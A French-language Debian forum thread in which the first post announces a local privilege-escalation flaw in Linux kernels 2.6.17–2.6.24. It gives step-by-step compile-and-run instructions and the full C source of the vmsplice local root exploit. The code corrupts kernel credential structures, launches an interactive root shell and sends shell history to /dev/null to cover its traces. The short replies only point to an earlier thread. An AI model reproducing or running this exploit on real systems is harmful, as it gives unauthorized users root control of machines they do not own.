# Faille locale des noyaux linux de 2.6.17 à 2.6.24

**URL:** <https://www.debian-fr.org/t/faille-locale-des-noyaux-linux-de-2-6-17-a-2-6-24/12056>\
**Category:** Pause Café\
**Created:** [Février 20, 2016, 5:07 UTC](https://www.debian-fr.org/t/faille-locale-des-noyaux-linux-de-2-6-17-a-2-6-24/12056 "2016-02-20T17:07:13Z")\
**Posts on this page:** 3\
**Page:** 1

<div class="post-metadata">

**Author:** ![dexmon](https://www.debian-fr.org/letter_avatar_proxy/v4/letter/d/d2c977/32.png) [@dexmon](https://www.debian-fr.org/u/dexmon)\
**Post date:** [Février 20, 2016, 5:07 UTC](https://www.debian-fr.org/t/faille-locale-des-noyaux-linux-de-2-6-17-a-2-6-24/12056/1 "2016-02-20T17:07:13Z")

</div>

Bonjour,  
une faille à été découverte sur les noyaux linux de 2.6.17 à 2.6.24 permettant un utilisateur normal de passer en Root en 3 secondes chrono.  
Faille exploitable seulement en locale.

Il suffit de compiler le fichier:  
gcc file.c  
il génère un binaire a.out on le rend exécutable chmod +x a.out et on le lance ./a.out et boum on est Root!!! 😮

Voici l’exploit file.c:

[code]#define \_GNU\_SOURCE  
#include \<stdio.h\>  
#include \<errno.h\>  
#include \<stdlib.h\>  
#include \<string.h\>  
#include \<malloc.h\>  
#include \<limits.h\>  
#include \<signal.h\>  
#include \<unistd.h\>  
#include \<sys/uio.h\>  
#include \<sys/mman.h\>  
#include \<asm/page.h\>  
#define **KERNEL**  
#include \<asm/unistd.h\>

#define PIPE\_BUFFERS 16  
#define PG\_compound 14  
#define uint unsigned int  
#define static\_inline static inline **attribute** ((always\_inline))  
#define STACK(x) (x + sizeof(x) - 40)

struct page {  
unsigned long flags;  
int count;  
int mapcount;  
unsigned long private;  
void \*mapping;  
unsigned long index;  
struct { long next, prev; } lru;  
};

void exit\_code();  
char exit\_stack[1024 \* 1024];

void die(char \*msg, int err)  
{  
printf(err ? “[-] %s: %s\n” : “[-] %s\n”, msg, strerror(err));  
fflush(stdout);  
fflush(stderr);  
exit(1);  
}

#if defined ( **i386** )

#ifndef \_\_NR\_vmsplice  
#define \_\_NR\_vmsplice 316  
#endif

#define USER\_CS 0x73  
#define USER\_SS 0x7b  
#define USER\_FL 0x246

static\_inline  
void exit\_kernel()  
{  
**asm**  **volatile** (  
“movl %0, 0x10(%%esp) ;”  
“movl %1, 0x0c(%%esp) ;”  
“movl %2, 0x08(%%esp) ;”  
“movl %3, 0x04(%%esp) ;”  
“movl %4, 0x00(%%esp) ;”  
“iret”  
: : “i” (USER\_SS), “r” (STACK(exit\_stack)), “i” (USER\_FL),  
“i” (USER\_CS), “r” (exit\_code)  
);  
}

static\_inline  
void \* get\_current()  
{  
unsigned long curr;  
**asm**  **volatile** (  
“movl %%esp, %%eax ;”  
“andl %1, %%eax ;”  
“movl (%%eax), %0”  
: “=r” (curr)  
: “i” (~8191)  
);  
return (void \*) curr;  
}

#elif defined ( **x86\_64** )

#ifndef \_\_NR\_vmsplice  
#define \_\_NR\_vmsplice 278  
#endif

#define USER\_CS 0x23  
#define USER\_SS 0x2b  
#define USER\_FL 0x246

static\_inline  
void exit\_kernel()  
{  
**asm**  **volatile** (  
“swapgs ;”  
“movq %0, 0x20(%%rsp) ;”  
“movq %1, 0x18(%%rsp) ;”  
“movq %2, 0x10(%%rsp) ;”  
“movq %3, 0x08(%%rsp) ;”  
“movq %4, 0x00(%%rsp) ;”  
“iretq”  
: : “i” (USER\_SS), “r” (STACK(exit\_stack)), “i” (USER\_FL),  
“i” (USER\_CS), “r” (exit\_code)  
);  
}

static\_inline  
void \* get\_current()  
{  
unsigned long curr;  
**asm**  **volatile** (  
“movq %%gs:(0), %0”  
: “=r” (curr)  
);  
return (void \*) curr;  
}

#else  
#error “unsupported arch”  
#endif

#if defined (\_syscall4)  
#define \_\_NR\_\_vmsplice \_\_NR\_vmsplice  
\_syscall4(  
long, \_vmsplice,  
int, fd,  
struct iovec \*, iov,  
unsigned long, nr\_segs,  
unsigned int, flags)

#else  
#define \_vmsplice(fd,io,nr,fl) syscall(\_\_NR\_vmsplice, (fd), (io), (nr), (fl))  
#endif

static uint uid, gid;

void kernel\_code()  
{  
int i;  
uint \*p = get\_current();

```
for (i = 0; i < 1024-13; i++) {
	if (p[0] == uid && p[1] == uid &&
	    p[2] == uid && p[3] == uid &&
	    p[4] == gid && p[5] == gid &&
	    p[6] == gid && p[7] == gid) {
		p[0] = p[1] = p[2] = p[3] = 0;
		p[4] = p[5] = p[6] = p[7] = 0;
		p = (uint *) ((char *)(p + 8) + sizeof(void *));
		p[0] = p[1] = p[2] = ~0;
		break;
	}
	p++;
}	

exit_kernel();

```

}

void exit\_code()  
{  
if (getuid() != 0)  
die(“wtf”, 0);

```
printf("[+] root\n");
putenv("HISTFILE=/dev/null");
execl("/bin/bash", "bash", "-i", NULL);
die("/bin/bash", errno);

```

}

int main(int argc, char \*argv[])  
{  
int pi[2];  
size\_t map\_size;  
char \* map\_addr;  
struct iovec iov;  
struct page \* pages[5];

```
uid = getuid();
gid = getgid();
setresuid(uid, uid, uid);
setresgid(gid, gid, gid);

printf("-----------------------------------\n");
printf(" Linux vmsplice Local Root Exploit\n");
printf(" By qaaz\n");
printf("-----------------------------------\n");

if (!uid || !gid)
	die("!@#$", 0);

/ ***** /
pages[0] = *(void **) &(int[2]){0,PAGE_SIZE};
pages[1] = pages[0] + 1;

map_size = PAGE_SIZE;
map_addr = mmap(pages[0], map_size, PROT_READ | PROT_WRITE,
                MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (map_addr == MAP_FAILED)
	die("mmap", errno);

memset(map_addr, 0, map_size);
printf("[+] mmap: 0x%lx .. 0x%lx\n", map_addr, map_addr + map_size);
printf("[+] page: 0x%lx\n", pages[0]);
printf("[+] page: 0x%lx\n", pages[1]);

pages[0]->flags = 1 << PG_compound;
pages[0]->private = (unsigned long) pages[0];
pages[0]->count = 1;
pages[1]->lru.next = (long) kernel_code;

/ ***** /
pages[2] = *(void **) pages[0];
pages[3] = pages[2] + 1;

map_size = PAGE_SIZE;
map_addr = mmap(pages[2], map_size, PROT_READ | PROT_WRITE,
                MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (map_addr == MAP_FAILED)
	die("mmap", errno);

memset(map_addr, 0, map_size);
printf("[+] mmap: 0x%lx .. 0x%lx\n", map_addr, map_addr + map_size);
printf("[+] page: 0x%lx\n", pages[2]);
printf("[+] page: 0x%lx\n", pages[3]);

pages[2]->flags = 1 << PG_compound;
pages[2]->private = (unsigned long) pages[2];
pages[2]->count = 1;
pages[3]->lru.next = (long) kernel_code;

/ ***** /
pages[4] = *(void **) &(int[2]){PAGE_SIZE,0};
map_size = PAGE_SIZE;
map_addr = mmap(pages[4], map_size, PROT_READ | PROT_WRITE,
                MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (map_addr == MAP_FAILED)
	die("mmap", errno);
memset(map_addr, 0, map_size);
printf("[+] mmap: 0x%lx .. 0x%lx\n", map_addr, map_addr + map_size);
printf("[+] page: 0x%lx\n", pages[4]);

/ ***** /
map_size = (PIPE_BUFFERS * 3 + 2) * PAGE_SIZE;
map_addr = mmap(NULL, map_size, PROT_READ | PROT_WRITE,
                MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (map_addr == MAP_FAILED)
	die("mmap", errno);

memset(map_addr, 0, map_size);
printf("[+] mmap: 0x%lx .. 0x%lx\n", map_addr, map_addr + map_size);

/ ***** /
map_size -= 2 * PAGE_SIZE;
if (munmap(map_addr + map_size, PAGE_SIZE) < 0)
	die("munmap", errno);

/ ***** /
if (pipe(pi) < 0) die("pipe", errno);
close(pi[0]);

iov.iov_base = map_addr;
iov.iov_len = ULONG_MAX;

signal(SIGPIPE, exit_code);
_vmsplice(pi[1], &iov, 1, 0);
die("vmsplice", errno);
return 0;

```

}[/code]

Voici l’original:  
[milw0rm.com/exploits/5092](http://www.milw0rm.com/exploits/5092)  
Voici l’annonce:  
[php-maximus.fr/modules.php?name= … pic&t=6289](http://php-maximus.fr/modules.php?name=Forums&file=viewtopic&t=6289)

---

<div class="post-metadata">

**Author:** ![mattotop](https://www.debian-fr.org/user_avatar/www.debian-fr.org/mattotop/32/3942_2.png) [@mattotop](https://www.debian-fr.org/u/mattotop)\
**Post date:** [Février 20, 2016, 5:07 UTC](https://www.debian-fr.org/t/faille-locale-des-noyaux-linux-de-2-6-17-a-2-6-24/12056/2 "2016-02-20T17:07:13Z")

</div>

[viewtopic.php?f=1&t=12353](http://forum.debian-fr.org/viewtopic.php?f=1&t=12353)  
si tu suivais un peu 😉

---

<div class="post-metadata">

**Author:** ![dexmon](https://www.debian-fr.org/letter_avatar_proxy/v4/letter/d/d2c977/32.png) [@dexmon](https://www.debian-fr.org/u/dexmon)\
**Post date:** [Février 20, 2016, 5:07 UTC](https://www.debian-fr.org/t/faille-locale-des-noyaux-linux-de-2-6-17-a-2-6-24/12056/3 "2016-02-20T17:07:13Z")

</div>

Arff désolé mais j’ai chercher sur le forum avant de poster et je n’avais rien trouvé.
